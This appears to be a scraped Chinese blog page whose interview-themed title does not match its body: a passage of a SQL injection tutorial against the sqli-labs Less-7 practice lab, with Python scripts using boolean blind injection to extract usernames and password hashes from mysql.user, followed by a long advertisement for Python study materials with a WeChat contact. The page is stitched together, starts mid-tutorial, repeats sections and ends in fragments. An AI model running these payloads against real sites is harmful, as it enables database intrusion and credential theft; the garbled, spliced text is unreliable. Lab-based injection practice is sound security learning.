华为社招面试题(整理)感谢Python，让我又在同学面前装了一次逼，总结拼多多美团Python面试经验

获取长度

def getLength(url, payload):

length = 1 # 初始测试长度为1

while True:

response = requests.get(url= url+payload_len.format(n= length))

页面中出现此内容则表示成功

if ‘You are in… Use outfile…’ in response.text:

print(‘测试长度完成，长度为：’, length,)

return length;

else:

print(‘正在测试长度：’,length)

length += 1 # 测试长度递增

开始猜解

getLength(url, payload_len)

猜解长度为42，运行结果如下：

3）枚举字符

---

长度确定之后，我们利用ASCLL码表枚举每个字符的可能性。

ASCLL码表总共127个字符（可输入的字符范围是32~126），我们将每个字符转换成ASCLL码，由32开始枚举判断，递增至126，页面异常显示表示猜测错误，页面正常显示表示猜测正确。

手动枚举比较麻烦，这里我们使用Python自动化验证，脚本如下：

import requests

目标网址（不带参数）

url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”

枚举字符使用的payload

payload_str = “”"?id=1’)) and ascii(substr(

(select group_concat(user,password)

from mysql.user)

,{n},1))={r} – a"“”

获取字符

def getStr(url, payload, length):

str = ‘’ # 初始表名/库名为空

for l in range(1, length+1):

for n in range(33, 126):

response = requests.get(url= url+payload_str.format(n= l, r= n))

if ‘You are in… Use outfile…’ in response.text:

str+= chr(n)

print(‘第’, l, ‘个字符猜解成功：’, str)

break;

return str;

开始猜解

getStr(url, payload_str, 42)

成功猜解数据库用户的账号和密码，执行结果如下：

3）完成脚本如下

---

import requests

只需要修改url 和 两个payload即可

目标网址（不带参数）

url = “http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/”

猜解长度使用的payload

payload_len = “”"?id=1’)) and length(

(select group_concat(user,password)

from mysql.user)

)={n} – a"“”

枚举字符使用的payload

payload_str = “”"?id=1’)) and ascii(substr(

(select group_concat(user,password)

from mysql.user)

,{n},1))={r} – a"“”

获取长度

def getLength(url, payload):

length = 1 # 初始测试长度为1

while True:

response = requests.get(url= url+payload_len.format(n= length))

页面中出现此内容则表示成功

if ‘You are in… Use outfile…’ in response.text:

print(‘测试长度完成，长度为：’, length,)

return length;

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数Python工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Python开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Python开发知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加V获取：vip1024c （备注Python）

文末有福利领取哦~

👉一、Python所有方向的学习路线

Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

👉二、Python必备开发工具

👉三、Python视频合集

观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

👉 四、实战案例

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。（文末领读者福利）

👉五、Python练习题

检查学习结果。

👉六、面试资料

我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。

👉因篇幅有限，仅展示部分资料，这份完整版的Python全套学习资料已经上传

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

et/forums/4304bb5a486d4c3ab8389e65ecb71ac0)

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算